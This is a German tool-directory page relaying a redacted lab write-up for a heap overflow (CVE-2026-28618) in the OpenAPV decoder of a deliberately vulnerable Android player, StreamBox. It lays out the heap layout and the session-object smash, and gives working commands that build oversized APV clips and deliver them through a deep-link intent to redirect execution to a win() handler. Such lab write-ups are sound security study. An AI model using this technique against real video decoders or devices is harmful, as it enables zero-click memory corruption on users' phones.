Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
streambox-cve-2026-28618 — Redigierte Notizen zu CVE-2026-28618 / StreamBox APV Lab — Heap-Schreibzugriff in ein Session-Objekt durch FRAME-Höhen-Diskrepanz | Kitploit
Tools/GitHubGitHub/raafatabualazm/streambox-cve-2026-28618
Android-SicherheitSpeicherforensikSchwachstellenanalyseExploitationReverse EngineeringMobile SicherheitPapers & ForschungLernen & BildungBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubraafatabualazm/streambox-cve-2026-28618

streambox-cve-2026-28618

Redigierte Notizen zu CVE-2026-28618 / StreamBox APV Lab — Heap-Schreibzugriff in ein Session-Objekt durch FRAME-Höhen-Diskrepanz

Repository anzeigen
141vor 1 MonatNoch nicht geprüft

Zero-Click-APV, in einem Player, der geteilte Clips automatisch abspielt

CVE-2026-28618 in StreamBox — dieselbe OpenAPV-Decoder-Klasse wie CVE-2026-0006, umgewandelt in einen Heap-Write gegen ein Session-Objekt.

Dieses Repo ist ein öffentliches, redigiertes Writeup: Flags, Instanz-Tokens und der HMAC-Schlüssel sind weggelassen. Die APK und make_clip.py gehören Mobile Hacking Lab; sie werden hier nicht gespiegelt.

Angriffskette

Was wir gelöst haben

StreamBox ist ein kleiner APV-Player. APV steht für Advanced Professional Video (RFC 9924), Samsungs lizenzgebührenfreier Codec, aus derselben Familie, die im Media-Stack von Android ausgeliefert wurde. Der Pitch des Labs ist ein Satz: Der Player spielt geteilte Clips beim Eintreffen ab.

SEND, VIEW oder streambox://play?url=… kopiert eine Datei nach files/incoming.apv und NativeDec.loadClip() wird ausgeführt.

Der Bug ist CVE-2026-28618: ein Heap-Buffer-Overflow in dec_frm_prepare von OpenAPV. Dieselbe Decoder-Klasse wie CVE-2026-0006.

Das Lab verpackt diesen Write als Spiel. Überlaufe die fest codierte 64×64-Y-Ebene, zerschmettere ein benachbartes Session-Objekt, leite den Teardown in handlers[2] um, und der Worker liefert die Flag zurück.

Das Kit besteht aus zwei Zips aus dem Lab:

  • streambox-lab.apk.zip — der Player
  • make_clip.py.zip — wie die 64×64-Bibliotheksclips gebaut wurden, und der Bitstream, den du überläufst

Der Player (Android 14 x86_64 AVD + ndk_translation)

Das ARM64-System-Image-QEMU von Android Studio passt schlecht auf einen x86-64-Host. Diese APK ist arm64-v8a / minSdk 34. Ein x86_64-API-34-AVD mit libndk_translation.so (abilist=x86_64,arm64-v8a) installiert und führt sie aus.

StreamBox-Bibliothek auf dem AVD

Sunset Drive wird abgespielt, 64×64, loadClip → 0

PlayerActivity macht:

NativeDec.setVideoTitle(name);
status = NativeDec.loadClip(path);   // win() runs here if handler==2
// WebView later: Android.openTier(status) → PremiumActivity

loadClip gibt 1 zurück (Premium / Session-Smash) oder 2 (win() wurde bereits ausgeführt). openTier navigiert nur die UI.

POST /api/unlock
{
  "instance_id": <from POST /api/instance>,
  "tier": 3,
  "session_hex": hex(sessionProof[64]),
  "ticket": HMAC-SHA256(ticketKey, instance_id + ":" + session_hex)
}

Beim Booten hat die App bereits POST /api/instance ausgeführt und NativeDec.setPlatinumToken(token) aufgerufen. Dieses Token ist es, das der Overflow in die Session schreiben muss.

Heap: 64×64 Y, dann die Session

Y-Ebene von 0x2000 Bytes, Session-Objekt direkt danach, zusätzliche FRAME-Zeilen laufen in magic/token/handler über

arena   = calloc(1, 0x206040);
session = arena + pad + 0x2000;
*(uint64_t *)session = 0x53545245414D424F;  /* bytes: "OBMAERTS" */

Das oapv_imgb_t ist fest auf 64×64, 10-Bit-YUV codiert. Plane 0 (Y) beginnt bei arena+0. 64 × 64 × 2 = 0x2000. Die Session liegt bei arena + 0x2000 + pad. pad ist SB_SESS_PAD oder ein auf 0x400 ausgerichtetes Nibble von rand() nach srand(getpid()^time()). Auf dem AVD protokollierte Sunset Drive session-arena = 0x3800 (pad = 0x1800). Die zusätzliche 64×128-Kachel umfasst 0x2000 Bytes, sodass sie für diese pad-Werte weiterhin die Session erreicht.

oapvd_decode() schreibt mit der Breite/Höhe des FRAME PBU. Ein FRAME, das höher als 64 ist, schreibt 10-Bit-Samples direkt in session.

Nach dem Decode:

if (session->token == g_token) {        /* +0x08 */
    if (session->handler <= 2)          /* +0x0c */
        g_handlers[session->handler](); /* [2] == win() */
} else if (session->token != 0) {
    g_premium = 1;
}
memcpy(g_session_proof, session, 64);
return g_platinum ? 2 : g_premium ? 1 : 0;

sessionProof-Layout: smash magic, Match-Token, Handler-Index 2

make_clip.py ist der Clip-Pfad

Der Generator des Labs erzeugt 32 Frames mit 64×64 RGB, konvertiert sie nach yuv422p10le und ruft den Referenz-Encoder OpenAPV über die Shell auf:

oapv_app_enc -i anim.yuv -w 64 -h 64 -z 8 --input-csp 2 -d 10 -o out.apv -v 1

Jeder gebündelte Clip besteht aus 32 Zugriffseinheiten von FRAME 64×64:

[u32be au_size] ['aPv1' + PBUs] × 32

Der Player reserviert 64×64. APV-Tiles sind 64×64.

qemu-user (qemu-aarch64 + Android 10 linker64) und der AVD stimmen überein:

Clipqemu-user streambox_loadAVD loadClip
64×64-Bibliotheksclip00 (premium_hit=0)
Header-Höhe 64→72SIGABRT oapvd_vlc_ac_coefSIGABRT, gleicher Assert, Prozess stirbt (Home nach Absturz)
echte 64×128-Kodierung (zwei Tiles, QP 0)11 premium_hit=1 → SESSION ANOMALY
python3 encode_overflow.py -o overflow_64x128.apv --qp 0
adb reverse tcp:8765 tcp:8765
# python3 -m http.server 8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/overflow_64x128.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

64×128 gemeinsamer Clip: SESSION ANOMALY (Überlauf hat die Session erreicht, Token stimmt nicht überein)

Eine zweite Kodierung, im geschlossenen Regelkreis gegen die Encoder-Rekonstruktion, platziert den Live-access token und Handler 2 (Eingabe Y≈4 rekonstruiert als 2). Wiederhole dieses 16-Byte-Präfix über die 64×128-Y-Ebene, damit das Padding keine Rolle spielt.

# token from the home footer: "access token 0x...."
python3 encode_targeted.py --token 0xTOKEN --handler 2 -o win.apv
python3 -m http.server 8765
adb reverse tcp:8765 tcp:8765
adb shell am start -a android.intent.action.VIEW \
  -d 'streambox://play?url=http://127.0.0.1:8765/win.apv' \
  -n com.mobilehackinglab.streambox/.MainActivity

Auf dem AVD:

gadget executed: handlers[2]() -> win()
loadClip(...) -> 2 (premium_hit=0 platinum_hit=1)
openTier(2)

SESSION COMPROMISED — Flagge redigiert; Worker hat sie aus der zerstörten sessionProof freigegeben

win() lief innerhalb von loadClip. openTier(2) öffnete nur PremiumActivity, die diesen Proof per POST übermittelte.

Einrichtung für qemu-user (nicht Androids ARM64-Emulator von Android Studio): siehe Kommentare in encode_overflow.py und im Lab qemu-harness/README.md.

Verwandter öffentlicher PoC für die übergeordnete Fehlerklasse: mobilehackinglab/CVE-2026-0006-openapv-poc.

Den Schreibvorgang nachweisen

Python urllib erhält Cloudflare 1010. curl mit einem Mobile-UA funktioniert.

Tool herunterladen